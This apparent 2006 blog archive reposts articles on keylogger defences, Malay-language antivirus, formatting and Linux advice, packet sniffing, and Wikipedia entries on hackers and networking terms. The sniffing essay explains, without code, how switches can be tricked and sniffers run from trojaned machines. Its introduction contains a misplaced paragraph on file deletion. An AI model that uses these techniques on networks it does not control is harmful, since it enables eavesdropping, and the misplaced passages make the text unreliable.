Monitoring what programs are running

Users should constantly observe the programs which are installed on his or her machine. Also, devices connected to PS/2 and USB ports can be used to secretly install a keylogger and then remove it (along with the user's data) by the perpetrator.

Anti-spyware

Anti-spyware applications are able to detect many keyloggers and cleanse them. Responsible vendors of monitoring software support detection by anti-spyware programs, thus preventing abuse of the software.

Firewall

Enabling a firewall can protect users from keyloggers that are spread by viruses and worms.

Network monitors

Network monitors (also known as reverse-firewalls) can be used to alert the user whenever an application attempts to make a network connection. This gives the user the chance to prevent the keylogger from "phoning home" with his or her typed information.

Automatic form filler programs

Automatic form-filling programs can prevent keylogging entirely by not using the keyboard at all. Form fillers are primarily designed for web browsers to fill in checkout pages and log users into their accounts. Once the user's account and credit card information has been entered into the program, it will be automatically entered into forms without ever using the keyboard or clipboard, thereby reducing the possibility that private data is being recorded. (Someone with access to browser internals and/or memory can often still get to this information; if SSL is not used, network sniffers and proxy tools can easily be used to obtain private information too.)

It is important to generate passwords in a fashion that is invisible to keyloggers and screenshot utilities. Using a browser integrated form filler and password generator that does not just pop up a password on the screen is therefore key. Programs that do this can generate and fill passwords without ever using the keyboard or clipboard.

Alternative Keyboard Layouts

Most keylogging hardware/software assumes that a person is using the standard QWERTY keyboard layout, by using a layout such as DVORAK captured keystrokes are nonsense unless converted. For additional security custom keyboard layouts can be created using tools like the Microsoft Keyboard Layout Creator.

On-screen keyboards

Program-to-program (non-web) keyboards

It is sometimes said that a third-party on-screen keyboard program is a good way to combat keyloggers, as it only requires clicks of the mouse. However, this is not true, because a keyboard event message must be sent to the external target program to type text. Every software keylogger can log the text sent as typed characters from one program to another with an on-screen keyboard, and additionally, some programs also record or take snapshots of what is displayed on the screen. (Screenshot recorders are a concern whenever entire passwords are displayed; fast recorders are generally required to capture a sequence of virtual key presses.)

Web-based keyboards

Web-based on-screen keyboards (written in Javascript, etc.) may provide some degree of protection. At least some commercial keylogging programs do not record typing on a web-based virtual keyboard. (Screenshot recorders are a concern whenever entire passwords are displayed; fast recorders are generally required to capture a sequence of virtual key presses.)

Notably, the game MapleStory uses, in addition to a standard alphanumeric password, a 4-digit PIN code secured by both on-screen keyboard entry and a randomly changing button pattern; there is no real way to get the latter information without logging the screen and mouse movements; another MMORPG called RuneScape makes a similar system available for players to protect their in-game bank accounts with.

for information : http://en.wikipedia.org/wiki/Keystroke_logging

Perisian anti virus: Pastikan komputer selamat

2006-12-06T11:18:00.000+08:00

SAYA pelajar Institusi Penganjian Tinggi Awam ingin tahu mengenai jenis perisian anti virus paling sesuai untuk mengesan semua jenis virus dan bagaimana caranya mengemaskini melalui Internet?

nurieysepiey_99@yahoo.com.my

DULU komputer tidak perlukan perisian anti virus. Tapi, berbeza dengan hari ini, komputer tanpa perisian anti virus seperti mengundang padah.

Virus komputer bertindak seperti virus biasa, yang akan menjangkiti komputer dan mengakibatkan komputer "sakit" serta tidak dapat beroperasi dengan betul. Tetapi ada juga virus komputer yang tidak mendatangkan kesan yang memudaratkan, mungkin cuma sengaja untuk membuat kacau.

Antara tiga jenis virus iaitu:

- Virus sektor Boot

- Virus emel

- Virus makro

Perisian anti virus boleh mengurangkan risiko komputer dijangkiti. Bagaimanapun, kebanyakan pengguna tidak mengemaskini paten virus untuk perisian anti virus mereka menyebabkan komputer mereka terdedah kepada jangkitan.

Perisian antivirus boleh didapati secara komersial, Freeware dan Sumber Terbuka.

Antara perisian anti virus komersial termasuk Symantec AntiVirus, Norton

AntiVirus, Kasperky Antivirus, AVG AntiVirus dan lain-lain lagi.

Antara perisian anti virus dengan pelesenan Freeware ialah AVG Free Edition (free.grisoft.com), BitDefender (http://www.bitdefender.com/), Avast Home Edition (http://www.avast.com/eng/avast_4_home.html) dan lain-lain lagi.

Perisian antivirus dengan Sumber Terbuka ialah ClamAV/ClamWin (http://www.clamwin.com/) dan OpenAntiVirus.

Jika wang menjadi faktor penghalang, gunakan perisian antivirus Freeware atau Sumber terbuka. Sebagai pelajar anda layak menggunakan perisian antivirus AVG Free Edition, sebagai contoh.

Boleh dikatakan semua perisian antivirus mempunyai kebolehan untuk mengemaskini paten virus secara automatik. Cara penyelarasannya bergantung kepada perisian terbabit. Anda hanya perlu pastikan sambungan ke internet sudah tersedia supaya kemaskini boleh dilakukan.

Di samping menggunakan perisian komputer, tabiat penggunaan komputer

juga boleh mengurangkan jangkitan.

Antara tabiat yang perlu sentiasa disemai ialah:

- Tidak sembarangan membuka fail sisipan emel.

- Jangan merayau ke tempat yang meragukan seperti laman warez, laman porno, pindah turun perisian cetak rompak, dan sebagainya.

- Tidak log masuk sebagai ‘administrator’ di komputer.

dari Harian Metro : 06 Dis 2006

Mahu format cakera keras

2006-12-06T11:17:00.000+08:00

SAYA mempunyai masalah dengan pemacu cakera keras komputer. Ini kali ketiga komputer saya diformat. Saya ingin belajar cara memformat yang betul menggunakan kaedah langkah demi langkah.

Saya berbelanja kira-kira RM200 untuk memformat komputer. Setiap kali bermasalah, saya diminta memformat semula cakera kerasnya dan tidak sanggup lagi berbelanja hanya sekadar diformat.

Saya mendapat tahu cara format cakera keras amat mudah. Bagaimanakah caranya?

Khairul Anuar Md Idris

khai_ilahqd@yahoo.com

FORMAT cakera keras selalunya dilakukan sekali sahaja. Jika dikehendaki memformat berulang kali, mungkin ada kerosakan pada perkakasan atau persekitaran Sistem Operasi (OS) anda.

Cara format bergantung kepada versi OS dan juga sambungan ke cakera keras. Saya andaikan anda menggunakan Sistem Operasi Windows XP/2000.

Jika mempunyai lebih satu cakera keras atau satu cakera keras yang ada lebih daripada satu pembahagian, dan anda mahu format cakera keras atau pembahagian yang bukan utama, ikuti langkah berikut bagi variasi

OS Windows:

- klik My Computer

- klik File > Format

- Satu tetingkap akan dipaparkan. Pilih pilihan yang berkenaan dan klik Start.

Pastikan anda sudah membuat salinan ke atas data penting sama ada ke CD atau lain setoran.

Anda perlukan CD OS, jika mahu format cakera keras atau pembahagian utama yang mana OS sudah dipasang di situ.

Bagi platform Windows XP/2000, ikuti langkah berikut:

- pastikan komputer boleh diboot dengan CD. Jika tidak, sebelum masuk ke pelarasan BIOS bagi menentukan turutan boot. Bergantung kepada BIOS yang digunakan. Sebaik menghidupkan PC, anda perlu tekan kekunci F2 atau Del untuk masuk ke tetingkap menu pelarasan BIOS.

Cari pilihan untuk mengubah turutan boot dan tetapkan CD sebagai pilihan boot pertama.

- Setelah komputer boot daripada CD, anda akan dibawa ke paparan Welcome to Setup. Tekan kekunci Enter.

- Untuk menerima lesen Microsoft, tekan kekunci F8.

- Jika Setup dapat mengesan OS yang sudah dipasang, anda diberi pilihan untuk membetulkan OS berkenaan. Tekan kekunci Esc untuk melepasinya.

- Kemudian paparan baru dengan senarai cakera keras dan pembahagian di dalam PC. Pilih cakera keras atau pembahagian yang hendak diformat.

Anda boleh membuang dan membuat pembahagian baru di paparan ini.

- Pilih partition untuk pemasangan OS Windows XP/2000

- Pilih ‘Format the partition by using the NTFS file system (Quick)’ terbaik untuk OS XP/2000.

- Langkah seterusnya akan format cakera keras atau partition anda.

Ikuti arahan di paparan untuk pemasangan OS Windows XP/2000.

Selepas Setup selesai, anda perlu keluarkan CD Setup dan boot semula komputer anda.

dari harian metro : 06 Dis 2006

Linux pelbagai kegunaan

2006-12-06T11:15:00.000+08:00

Soalan

SAYA berminat untuk mencuba Linux selepas membaca beberapa artikel mengenainya. Adakah caranya untuk mencuba ke atas komputer sedia ada saya? Bagaimanapun, saya tidak mahu ia mengganggu komputer dan data sedia ada.

Ingin tahu, Nilai | devnol@yahoo.com

Jawapan

LINUX ialah satu sistem operasi (OS) yang semakin popular dan banyak digunakan ketika ini. Kebanyakannya perlu dipasang terus ke cakera keras. Namun cara itu akan memusnahkan data sedia ada jika tidak membuat pembahagian ke atas cakera keras itu.

Sebenarnya Linux boleh di’boot’kan terus dari CD atau DVD. Kaedah itu dipanggil LiveCD/liveDVD.

Dengan LiveCD, OS Linux akan dipasang ke dalam RAM tanpa mengganggu data

di dalam cakera keras. Anda sudah boleh menggunakan persekitaran Linux dan jika anda suka, bolehlah terus di pasang ke dalam cakera keras. Senarai LiveCD boleh didapati di http://www.frozentech.com/ content/livecd.php.

Memandangkan Linux boleh digunakan untuk pelbagai kegunaan, contohnya digunakan sebagai ‘Firewall’, pilihlah LiveCD yang sesuai.

Jika anda ingin kembali menggunakan Windows, pilihlah Desktop atau OS Replacement.

Setelah anda memindah turun fail ISO, gunakan perisian penulis CD yang ada untuk mamasukkan ISO ke dalam CD. Sebelum itu pastikan komputer boleh boot dari CD. Selepas boot komputer, Linux akan dimulakan dan dipasang ke dalam RAM komputer.

Untuk memulakannya, anda boleh log masuk dan mulalah mengalami persekitaran Linux.

dari harian metro: rabu 06 Dis 2006

Packet Sniffing

2006-12-06T09:26:00.000+08:00

Introduction

Packet Sniffing is a fascinating subject. It wears both hats, the good and the evil. It's used by many (including myself) to detect network faults etc...but the same technology allows someone to "sniff" out passwords for your mail account or even your internet account. Now you understand why securing/encrypting your data is so important.When a file is "deleted" what actually happens? Your operating system removes the reference to that file on the file system. This reference had details such as where on the disk the file was. Whilst marked and available as free space the old data didn't move, its just not seen on the file system but physically exisits on the disk. The entire file remains on the disk until another data is created over the physical area, and even then it may be possible to recover data by studying the magnetic fields on the platter surface.

What's a packet sniffer?

When you make contact with the Internet, data isn't sent in one continuous stream of data; this would be impractical and it would limit the performance of the Internet network. To keep the performance of the Internet as high as possible, the data is cut in slices. Such a slice of data (either inbound or outbound) is called "a packet". Now, you can't see atoms with your naked eye can you? No, I thought so. Sending information on a network means sending "packets" of data. Think of them like the atoms. A lot of packets will create the final information you will see on your screen, be it website or email. To "see" the atoms you would need a special device, some kind of electron microscope, to be able to see the "packets" you've sent or received... you also need a special device. This is a special type of monitoring program called... a packet sniffer. By using a packet sniffer you're able to see any bit of information entering or leaving your computer... even those you normally wouldn't see!A packet sniffer can be considered as a sort of wire tap device. A device that can "plug" into computer networks and eavesdrops on the network traffic. Just as a telephone wiretap allows the CIA to listen to conversations, the same concept follows a packet sniffer in the sense that it allows someone to listen in on computer conversations.

How packet sniffers work

Packet sniffers capture "binary" data passing through the network, most if not all decent sniffers "decode" this data into a human readable form. To make it even easier (for humans) another step occurs known as "protocol analysis". There is a varying degree of the analysis that takes place, some are simple, just breaking down the "packet" information. Others are more complex giving "detailed" information about what it sees on the packet (i.e., highlights a password for a service).One very important (and very simple) point to understand is that the sniffer has to be on the same "wire" on which the data is travelling to. In short the "probing" device that "captures" the data has to be on the same wire. The data can then be relayed to a decoding computer on a different network. Situation: Bob and John are engaged in a internet chat session. You are in a city far apart from where the two men reside. Bob and John are talking top secret details on a cocaine deal. You (the law abiding citizen) decide to sniff their chat session (from your location) to help the feds bust Bob and John.The simple answer is you CAN'T do that as you don't have access to the path that the data travels from! Of course if you are a good hacker (or well Cracker) then you could install a Trojan on Bob or John's computer and run a sniffer from their system, thus the sniffer it self is on the same wire.

When packet sniffing will work and won't work

Basically to successfully sniff you have to be on a LAN that is connected with a hub and not a switch. Computers can be physically connected in many ways. If they are connected using a Hub then here is what happens. If there were 4 computers (A, B, C & D) and A wanted to send something to D then it goes through the hub. But the hub doesn't know where D is. So the hub "re-transmits" what A sent to all other computers. Computers B and C should ignore this data since the packet says it's for D. Computer D will obviously accept the data.You can probably see the security issue here, since other computers nearly have direct access to data that's not meant for them. A packet sniffer can put your network card into promiscuous mode. In this mode the data not meant for that computer will silently pass through the system and thus allows for the packet sniffer to log data!When computers are connected via a switch and not a hub then things are different. A switch actually knows which computers are connected to it. The switch also knows where the computers are. So when A sends something to D the data goes to the switch and it will send it directly to D without passing by B or C. So you cannot sniff data by installing a sniffer on computer B or C. Thus when functioning as intended a switch provides good sniffer protection!

Switches WON'T prevent sniffing - they make it harder)

There is a super important point to understand with sniffing and "switches". Whilst switches appear to protect against sniffers THERE ARE WAYS to "trick" the switch which can enable you to start sniffing. You can flood the switch with ARP requests which will cause the switch to start behaving like a hub, or you can trick the switch to redirect traffic to the sniffer system.How do I prevent my data being sniffed?Many services on the internet send data in the plain text. By default POP mail, SMTP (for sending mail) send data in clear text. The same applies for FTP, Telnet and News clients. ICQ, MSN and AOL Instant messengers send passwords again in clear text. In fact most services send passwords this way.Ways to secure yourself
When logging into to mail services check to see if your mail client supports encrypted login's. The server has to support this setting too, so check with them.
Even if you login securely (above) any e-mail you send is still in clear text, anyone on the path that the mail travels through can technically read it. Use Encryption to encrypt the message. PGP (www.pgpi.org) is the popular application for this
When shopping on-line make sure the store has a "secure" connection for submitting credit card details. Generally SSL 128bit encryption is the standard.
Telnet sends password and normal data in plain text. If your server supports SSH then use this instead of Telnet since the connection is encrypted.If possible use a Switch rather than a HUB on a LAN. This provides extremely efficient protection in practice (more work required to successfully sniff). This method is a frontline defence but it shouldn't be a method fully relied upon.It's near impossible to detect that a packet sniffer is sniffing a connection. This is a passive act, the data is "logged" but unaltered. There are some methods of determining a packet sniffer, however they cannot conclude 100% what they found. A major clue that that sniffing MAY be taking place is the fact that many DNS lookup's are taking place. (i.e., the sniffer is attempting to convert IP addresses to host names) however this is only an indication for there may be other reasons as to why this may occur.Another, stronger method of detecting if a packet sniffer is operating is to send an ARP request to the device in question to determine if it's in promiscuous mode. A packet which is not destined for your computer will be stopped at the hardware level if promiscuous mode is not on. The "device" in most cases is the network card of the computer running the sniffer.

Hacker From Wikipedia, the free encyclopedia (Redirected from Computer hacking)

2006-12-05T11:12:00.000+08:00

For other uses, see Hacker (disambiguation).

Hackers are sometimes portrayed as mysterious and strange.

A hacker is someone who creates and modifies computer software and computer hardware, including computer programming, administration, and security-related items. The term usually bears strong connotations, but may be either favorable or denigrating depending on cultural context (see the Hacker definition controversy). Common definitions include:

In computer programming, a hacker is a software designer and programmer who builds elegant, beautiful programs and systems. A hacker can also be a programmer who hacks or reaches a goal by employing a series of modifications to exploit or extend existing code or resources. For some, "hacker" has a negative connotation and refers to a person who "hacks" or uses kludges to accomplish programming tasks that are ugly, inelegant, and inefficient. This negative form of the noun "hack" is even used among users of the positive sense of "hacker".

In computer security, a hacker is a person who specializes in work with the security mechanisms for computer and network systems. While including those who endeavor to strengthen such mechanisms, it more often is used, especially in the mass media, to refer to those who seek access despite them.

In other technical fields, hacker is extended to mean a person who makes things work beyond perceived limits through their own technical skill, such as a hardware hacker, or reality hacker.

In hacker culture, a hacker is a person who has attained a certain social status and is recognized among members of the culture for commitment to the culture's values and a certain amount of technical knowledge.

Categories of hacker

This section does not cite its references or sources.
You can help Wikipedia by introducing appropriate citations.This article has been tagged since June 2006.

The hacker community, the set of people who would describe themselves as hackers or described by others as hackers, falls into at least four partially overlapping categories. Sometimes alternate terms such as "cracker" are used in an attempt to more exactly distinguish which category of hacker is intended, or when attempting to put a contextual distance between the categories due to the Hacker definition controversy.

Hacker: Highly skilled programmer

The positive usage of hacker is one who knows a (sometimes specified) set of programming interfaces well enough to program rapidly and expertly. This type of hacker is well-respected (although the term still carries some of the meaning of hack), and is capable of developing programs without adequate planning or where pre-planning is difficult or impossible to achieve. This zugzwang gives freedom and the ability to be creative against methodical careful progress. At their best, hackers can be very productive. The technical downside of hacker productivity is often in maintainability, documentation, and completion. Very talented hackers may become bored with a project once they have figured out all of the hard parts, and be unwilling to finish off the "details". This attitude can cause friction in environments where other programmers are expected to pick up the half finished work, decipher the structures and ideas, and bullet-proof the code. In other cases, where a hacker is willing to maintain their own code, a company may be unable to find anyone else who is capable or willing to dig through code to maintain the program if the original programmer moves on to a new job.

Additionally, there is sometimes a social downside associated with hacking. The stereotype of a hacker as having gained technical ability at a cost in social ability has historical basis in an uncomfortable amount of factual foundation in many individuals. While not universal, nor even restricted to hackers, the difficulty in relating to others and the often abrasive personalities of some hackers makes some of them difficult to work with or to organize into teams. On the other hand, it is not uncommon for hackers to thrive on social interaction.

Hacker: Computer and network security expert

Main article: Hacker (computer security)

In the networking sense, a hacker is one who specializes in work with the access control mechanisms for computer and network systems. This includes individuals who work toward maintaining and improving the integrity of such mechanisms. However, the most common usage of hacker in this respect refers to someone who exploits systems or gains unauthorized access by means of clever tactics and detailed knowledge, while taking advantage of any carelessness or ignorance on the part of system operators. This use of hacker as intruder (frequent in the media) generally has a strong negative connotation, and is disparaged and discouraged within the computer community, resulting in the modern Hacker definition controversy.

For such hackers specializing in intrusion, the highly derogatory term script kiddies is often used to indicate those who either claim to have far more skill than they actually have, or who exclusively use programs developed by others to achieve a successful security exploit.

Hacker: Hardware modifier

Main article: Hardware hacker

Another type of hacker is one who creates novel hardware modifications. At the most basic end of this spectrum are those who make frequent changes to the hardware in their computers using standard components, or make semi-cosmetic themed modifications to the appearance of the machine. This type of Hacker modifes his/her computer for performance needs and/or aesthetics. These changes often include adding memory, storage or LEDs and cold cathode tubes for light effects. These people often show off their talents in contests, and many enjoy LAN parties. At the more advanced end of the hardware hackers are those who modify hardware (not limited to computers) to expand capabilities; this group blurs into the culture of hobbyist inventors and professional electronics engineering. An example of such modification includes the addition of TCP/IP Internet capabilities to a number of vending machines and coffee makers during the late 1980s and early 1990s.

Hackers who have the ability to write circuit-level code, device drivers, firmware, low-level networking, (and even more impressively, using these techniques to make devices do things outside of their spec sheets), are typically in very high regard among hacker communities. This is primarily due to the enormous difficulty, complexity and specialized domain knowledge required for this type of work, as well as the electrical engineering expertise that plays a large role. Such hackers are rare, and almost always considered to be wizards or gurus of a very high degree.

Hacker stereotypes

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You can help Wikipedia by introducing appropriate citations.This article has been tagged since June 2006.

There are theoretical types of hackers who are considered to possess an atypical level of skill beyond that of other meanings of the positive form of "hacker", which include the Guru and the Wizard.

In some portions of the computer community, a Wizard is one who can do anything a hacker can, but elegantly; while a Guru not only can do so elegantly, but instruct those who do not know how. In other sub-communities, a Guru is one with a very broad degree of expertise, while a Wizard is expert in a very narrow field. In practice, such exact distinction are usually more at home in a RPG world, and not often heard in actual conversation.

Within the mainstream media, hackers are often characterised as strange, mysterious, reclusive, and especially tricky. This may be seen as an extension of the human tendency to stigmatise what is ill-understood, which used often to be applied to natural philosophers who were often thought by superstitious neighbours to be wizards or mystics. One such example was Leonardo da Vinci, who was thought to be a necromancer due to his extensive (and extraordinary at that time) knowledge of human anatomy and his study of dead bodies.

Recognized hackers

Due to the overlapping nature of the hacker concept space, many of these individuals could be included in more than one category. See also Hacker (computer security), which has a list of people in that category, including criminal or unethical hackers.

Skilled programmers

Tim Berners-Lee, inventor of the world wide web, while a student in the 1970s, was banned from access to the Oxford University computer for hacking access.^[1]

Dan Bernstein, the author of qmail and djbdns, also a mathematician and cryptographer.

John Carmack, a widely recognized and influential game programmer. Through his work, he has made significant contributions to the field of 3D computer graphics and his games have sold in the millions. In 1999, Carmack appeared as number 10 in TIME's list of the 50 most influential people in technology.

Shawn Fanning, the author of napster

Bill Gosper, mathematician and programmer, and contemporary of Richard Greenblatt.

Richard Greenblatt, primary designer of the MIT Lisp machine and pioneer of computerized chess.

Grace Hopper, the first programmer of the Mark I Calculator, also developed the first compiler for a computer programming language.^[2]^[3]

Bill Joy, the co-founder of Sun Microsystems and author of many fundamental UNIX utilities. He wrote the original SunOS in one weekend, according to Nerds 2.0.1: A Brief History of the Internet

Mel Kaye, the archetypal Real Programmer^[4], was credited with doing "the bulk of the programming" for the Royal McBee LGP-30 drum-memory computer in the 1950s. Ed Nather, another hacker, published the widely acclaimed "Story of Mel" in the 1980s.

Donald Knuth, best known for practically creating the field of algorithm analysis, coding the TeX typesetting system, and writing The Art of Computer Programming - one of the most respected references in the field.

Rasmus Lerdorf, the creator of the PHP scripting language.

John McCarthy, the inventor of the Lisp programming language. Also coined the term "Artificial Intelligence."

Rob Pike, a software engineer and author. He is best known for his work at Bell Labs, where he was a member of the Unix team and was involved in the creation of the Plan 9 and Inferno operating systems.

Dennis Ritchie and Ken Thompson, who created Unix in 1969. Ritchie is also notable for having created the C programming language, from Ken Thompson's B programming language.

Guido van Rossum, the creator of the Python programming language.

Randal Schwartz, Perl programming language pioneer, billed himself as "Just another Perl hacker (but not what the media calls "'hacker'!)" This was in reference to characterizations made during his criminal prosecution for unauthorized computer access.

Richard Stallman, the founder of the free software movement and the GNU project, and original author of the GPL, Emacs, GDB, and the GNU Compiler Collection. Acclaimed in Steven Levy's Hackers: Heroes of the Computer Revolution as "The Last True Hacker."

Bjarne Stroustrup, the creator of the C++ programming language.

Theo de Raadt, the founder of the OpenBSD project.

Michael Tiemann, a co-founder of Cygnus Solutions, president of the Open Source Initiative. Made many contributions to the GNU C compiler, GNU debugger, and many other GNU development tools. Author of the GNU C++ compiler.

Linus Torvalds, who was a computer science student at the University of Helsinki when he began writing the Linux kernel in 1991.

Wietse Venema, best known for writing the Postfix mail system and co-creating (with Dan Farmer) the Security Administrator Tool for Analyzing Networks (SATAN), a remote vulnerability scanner.

Larry Wall, the creator of the Perl programming language.^[5]

Steve Wozniak, a co-founder of Apple Computer (with Steve Jobs). Got his start making devices for phone phreaking, working with John Draper.

Hacker media personalities

Listed below are individuals who, while fitting in one or more of the above categories, are currently more widely famous (especially among the general public) for their media presence than their technical accomplishments.

Loyd Blankenship (also known as The Mentor) — Former LOD member. Author of The Conscience of a Hacker (Hacker's Manifesto).

Eric Corley (also known as Emmanuel Goldstein) — Long standing publisher of 2600: The Hacker Quarterly and founder of the H.O.P.E. conferences. He has been part of the hacker community since the late '70s.

William Henry Gates III (Bill Gates) — is the co-founder and chairman of Microsoft Corporation. Although he personally demonstrated considerable personal coding skill early in his company's history, he is most widely recognizable today as the world's richest individual. Formerly CEO, in June 2006 he also stepped down as chief software architect, with the intention of stepping down as chairman in July 2008. [1]

Patrick K. Kroupa (also known as Lord Digital) — Former LOD member, co-founder of MindVox, author of Phantom Access programs, and MindVox: The Overture. Appears in over 20 books and hundreds of media and press articles.

Kevin Mitnick — A former computer criminal who now (since his release from prison in 2000) speaks, consults, and authors books about social engineering and network security.

CULT OF THE DEAD COW — A high profile hacker group that has both made news and been consulted by the media on numerous occasions.

Eric S. Raymond — One of the founders of the Open Source Initiative. He wrote the famous text The Cathedral and the Bazaar and many other essays. He also maintains the Jargon File for the Hacker culture, which was previously maintained by Guy L. Steele, Jr..

Bruce Perens — Also one of the founders of the Open Source Initiative. He was the former Debian GNU/Linux Project Leader, and is the primary author of the Open Source Definition.

The 414s and Neal Patrick — teenage hackers who gained brief but widespread media coverage in 1983

Gary McKinnon — accused of hacking into 97 United States military and NASA computers in 2001 and 2002. [2]

for information : http://en.wikipedia.org/wiki/Computer_hacking

Content management system From Wikipedia, the free encyclopedia

2006-12-05T11:03:00.000+08:00

A content management system is a computer software system for organising and facilitating collaborative creation of documents and other content. A content management system is often a web application used for creating and managing websites and web content. Alternatively, content management systems (CMS) can also be used for storing and publishing documentation such as operators' manuals, technical manuals, sales guides, etc. There are many open-source and proprietary CMS solutions available, which is in fact true for most systems of any kind. The market for content management systems is quite fragmented.

Web Content Management Systems

A web content management system is essentially a way of separating your visual presentation from your actual content — whether that content includes photos, text or product catalogs. This separation allows one to accomplish several key things, including:

Automated Templating: Create standard visual templates that can be automatically applied to new and existing content, creating one central place to change that look across all content on your site.
Easily Editable Content: Once your content is separate from the visual presentation of your site, it usually becomes much easier and quicker to edit and manipulate. Most CMS software include WYSIWYG editing tools allowing non-technically trained individuals to easily create and edit content.
Scalable Feature Sets: Most CMS have plug-ins or modules that can be easily installed to extend your existing site's functionality. For example, if one wanted to add a product catalog or chat functionality to a website, one could easily install a module/plug-in to add that functionality rather than hiring a web developer to hard code that new functionality.
Web Standards Upgrades: Active CMS solutions usually receive regular updates that include new feature sets and keep the system up to current web standards. These updates are usually designed for easy installation over/on-top of your existing website.
Community Support: Most active CMS solutions have developer support forums. Since CMS users/developers are beginning from a common base, it's more than likely that developers are encountering the same development challenges and can solve those challenges as a community.
Lower Cost Maintenance: CMS hosted sites are often easier and cheaper to maintain. Since any CMS powered website would have a community familiar with the tools of that specific CMS, it would be quite easy for a new developer to dive right in and begin updates/maintenance..
Workflow management: Workflow is the process of creating cycles of sequential and parallel tasks that must be accomplished in your CMS. For example, a user posts a story but it's not published on the website until the editor approves it.

Operation

A web site content management system runs on the site's server. Most systems provide controlled access for various ranks of users such as administrators, editors and ordinary content creators. Access is usually via a normal web browser program, possibly combined with some use of FTP for uploading content.

The content and all other information related to the site is usually stored in a server-based database system such as MySQL or MsSQL.

The pages created by the content management system can be viewed by the visitors to the site.

Internally, many web site content management systems are written in the PHP programming language and quite a few use the Smarty Template Engine.

Terminology

The following terms are often used in relation to web site content management systems but they may be neither standard nor universal:

Block - A block is a link to a section of the web site. Blocks can usually be specified to appear on all pages of the site (for example in a lefthand navigation panel) or only on the home page.

Module - A content module is a section of the web site, for example a collection of news articles, an FAQ section, etc. Some content management systems may also have other special types of modules, for example administration and system modules.

Theme - A theme specifies the cosmetic appearance of every page of the web site, controlling properties such as the colours and the fonts.

Types of CMS

Module-based CMS. Most tasks of document life-cycle are served by CMS modules. Common modules are document creation/editing, transforming and publishing.
Document transformation language-based CMS. Another approach to CMS building with use of open standards. XSLT-based CMS compile ready documents from XML data and XSLT-template. XML Sapiens-based CMS compile a document from the stream of ‘pure’ data, design template and functionality templates.

for more information : http://en.wikipedia.org/wiki/Content_management_system

Domain name : From Wikipedia, the free encyclopedia (Redirected from Internet domain)

2006-12-05T10:52:00.000+08:00

Main article: Domain name system

The term domain name has multiple related meanings:

A name that is entered into a computer (e.g. as part of a Web site or other URL, or an e-mail address) then looked up in the global Domain Name System (DNS) which informs the computer of the IP address(es) assigned to that name.
The product that registrars provide to their customers.
A name looked up in the DNS for other purposes.

They are sometimes colloquially (and incorrectly) referred to by marketers as "Web addresses".

The authoritative definition is that given in the RFCs that define the DNS.

Domain names are hostnames that provide more memorable names to stand in for numeric IP addresses. They allow for any service to move to a different location in the topology of the Internet (or another internet), which would then have a different IP address.

Each string of letters, digits and hyphens between the dots is called a label in the parlance of the domain name system (DNS). Valid labels are subject to certain rules, which have relaxed over the course of time. The original rules state that labels must start with a letter, and end with a letter or digit; any intervening characters may be letters, digits, or hyphens. Labels must be between 1 and 63 characters long (inclusive). Letters are ASCII A–Z and a–z; domain names are compared case-insensitively. Later it became permissible for labels to commence with a digit (but not for domain names to be entirely numeric), and for labels to contain internal underscores, but support for such domain names is uneven. These are the rules imposed by the way names are looked up ("resolved") by DNS. Some top level domains (see below) impose more rules, such as a longer minimum length, on some labels. Fully qualified domain names (FQDNs) are sometimes written with a final dot.

By making possible the use of unique alphabetical addresses instead of numeric ones, domain names allow Internet users to easily find and communicate with Web sites and other server-based services. The flexibility of the domain name system allows multiple IP addresses to be assigned to a single domain name, or multiple domain names to be assigned to a single IP address. This means that one server may have multiple roles (such as hosting multiple independent Web sites), or one role can be spread among many servers. One IP address can even be assigned to several servers, such as with anycast and hijacked IP space.

Examples

The following example illustrates the difference between a URL (Uniform Resource Locator) and a domain name:

URL: http://www.example.com/

Domain name: example.com

As a general rule, the IP address and the server name are interchangeable. For most Internet services, the server will not have any way to know which was used. However, the explosion of interest in the Web means that there are far more Web sites than servers. To accommodate this, the hypertext transfer protocol (HTTP) specifies that the client tells the server which name is being used. This way, one server with one IP address can provide different sites for different domain names. This feature goes under the name virtual hosting and is commonly used by Web hosts.

For example, the server at 192.0.34.166 handles all of the following sites:

example1.com

example2.net

example3.org

When a request is made, the data corresponding to the hostname requested, is served to the user.

for more information : http://en.wikipedia.org/wiki/Internet_domain

Proxy:From Wikipedia, the free encyclopedia

2006-12-05T10:51:00.000+08:00

Proxy may refer to something which acts on behalf of something else as in:

Proxy server, a computer network service that allows clients to make indirect network connections to other network services
Proxy pattern, a software design pattern in computer programming
Proxy (statistics), a measured variable used to infer the value of a variable of interest
Proxy (climate), a measured variable used to infer the value of a variable of interest in climate research
Proxy murder, a murder which the murderer commits at the behest of another
Proxy voting, one way of casting an absentee ballot in some elections
Proxy war, a war where two powers use third parties as a substitute for fighting each other directly
Proxy occupation, a military occupation where the occupying power directs a "co-belligerent" (i.e. ally) to undertake the occupation of a particular area, as a substitute for the occupying power handling the occupation of that area directly
Proxy statement, an announcement of and an invitation to a U.S. stockholders' meeting
Proxy fight, an event that may occur when opposition develops to a corporation management among its stockholders
Proxy marriage, a practice formerly common amongst European monarchs, where one party is not present in person to their marriage to the other
"Proxy", an advanced humanoid character in the anime Ergo Proxy
Proxy card, a substitute card used in trading card games when a player does not own the substituted card.
"The Proxy," a song by RJD2 from his 2002 album Deadringer

Server:From Wikipedia, the free encyclopedia

2006-12-05T10:43:00.000+08:00

Server may refer to:

a waiter or waitress

In computing:

Server (computing), a computer that provides services to other computers, or the software that runs on it
- Application server, a server dedicated to running certain software applications
- Communications server, carrier-grade computing platform for communications networks
- Database server, provides database services
- Fax server, provides fax services for clients
- File server, provides file services
- Game server, a server that video game clients connect to in order to play online together
- Standalone server, an emulator for client-server (web-based) programs
- Web server, a server that HTTP clients connect to in order to send commands and receive responses along with data contents.
Client-server, a software architecture that separates "server" functions from "client" functions
- The X Server part of the X Window System
- Peer-to-peer, a network of computers running as both clients and servers

IP address :From Wikipedia, the free encyclopedia

2006-12-05T10:36:00.000+08:00

An IP address (Internet Protocol Address) is a unique address that devices use in order to identify and communicate with each other on a computer network utilizing the Internet Protocol standard (IP). In simpler terms, a computer address. Any participating network device — including routers, computers, time-servers, printers, Internet fax machines, and some telephones — can have their own unique address. Also, many people can find personal information through IP addreses.

An IP address can also be thought of as the equivalent of a street address or a phone number (compare: VoIP) for a computer or other network device on the Internet. Just as each street address and phone number uniquely identifies a building or telephone, an IP address can uniquely identify a specific computer or other network device on a network.

